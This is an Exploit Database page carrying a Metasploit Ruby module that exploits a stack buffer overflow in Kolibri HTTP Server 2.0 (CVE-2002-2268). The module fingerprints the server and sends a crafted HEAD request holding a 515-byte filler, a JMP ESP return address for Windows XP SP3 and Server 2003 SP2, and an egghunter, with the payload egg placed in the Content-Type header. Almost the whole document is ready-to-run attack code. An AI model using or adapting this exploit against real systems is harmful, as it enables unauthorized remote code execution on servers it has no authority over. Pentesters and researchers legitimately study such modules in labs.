Kolibri HTTP Server 2.0 – HEAD Buffer Overflow (Metasploit)

• Exploit Database
• 10 阅读

• 作者： Metasploit
  日期： 2011-08-03
• 类别：

  • remote
  平台：

  • windows
• 来源：https://www.exploit-db.com/exploits/16970/

• ##
  # $Id: kolibri_http.rb 10887 2011-08-03 12:19:19Z mr_me $
  
  ##
  ##
  # This file is part of the Metasploit Framework and may be subject to
  # redistribution and commercial restrictions. Please see the Metasploit
  # Framework web site for more information on licensing and terms of use.
  # http://metasploit.com/framework/
  ##
  
  require 'msf/core'
  
  class Metasploit3 < Msf::Exploit::Remote
  	Rank = GoodRanking
  
  	HttpFingerprint = { :pattern => [ /kolibri-2\.0/ ] }
  
  	include Msf::Exploit::Remote::HttpClient
  	include Msf::Exploit::Egghunter
  
  	def initialize(info = {})
  		super(update_info(info,
  			'Name' => 'Kolibri <= v2.0 HTTP Server HEAD Buffer Overflow',
  			'Description'=> %q{This exploits a stack buffer overflow in version 2 of the Kolibri HTTP server.},
  			'Author' => 
  					[ 
  						'mr_me <steventhomasseeley@gmail.com>', # msf
  						'TheLeader' # original exploit
  					],
  			'Version'=> '$Revision: 10887 $',
  			'References' =>
  				[
  					[ 'CVE', '2002-2268' ],
  					[ 'OSVDB', '70808' ],
  					[ 'BID', '6289' ],
  					[ 'URL', 'http://www.exploit-db.com/exploits/15834/' ],
  				],
  			'Privileged' => false,
  			'Payload'=>
  				{
  					'Space' => 3000,
  					'DisableNops' => true,
  					'BadChars'=> "\x00\x0d\x0a\x3d\x20\x3f",
  				},
  			'Platform' => 'win',
  			'Targets'=>
  				[
  					[ 'Windows XP sp3', { 'Ret' => 0x7E429353 } ] ,
  					[ 'Windows Server 2003 sp2', { 'Ret' => 0x76F73BC3 } ] ,
  				],
  			'DisclosureDate' => 'Dec 26 2010',
  			'DefaultTarget'=> 0))
  	end
  
  	def check
  		info = http_fingerprint
  		if info and (info =~ /kolibri-2\.0/)
  			return Exploit::CheckCode::Vulnerable
  		end
  		Exploit::CheckCode::Safe
  	end
  
  	def exploit
  		#7E429353FFE4JMP ESP
  		# For a reliable and large payload, we use an egg hunter
  		# and direct RET to execute code
  		print_status("Sending request...")
  		eh_stub, eh_egg = generate_egghunter(payload.encoded, payload_badchars)
  		sploit = Rex::Text.rand_text_alphanumeric(515) + [target.ret].pack('V')
  		sploit << eh_stub
  		send_request_raw({
  			'uri' => "/" + sploit,
  			'version' => '1.1',
  			'method'=> 'HEAD',
  			'headers' => {'Content-Type' => eh_egg},
  		})
  
  		handler
  	end
  
  end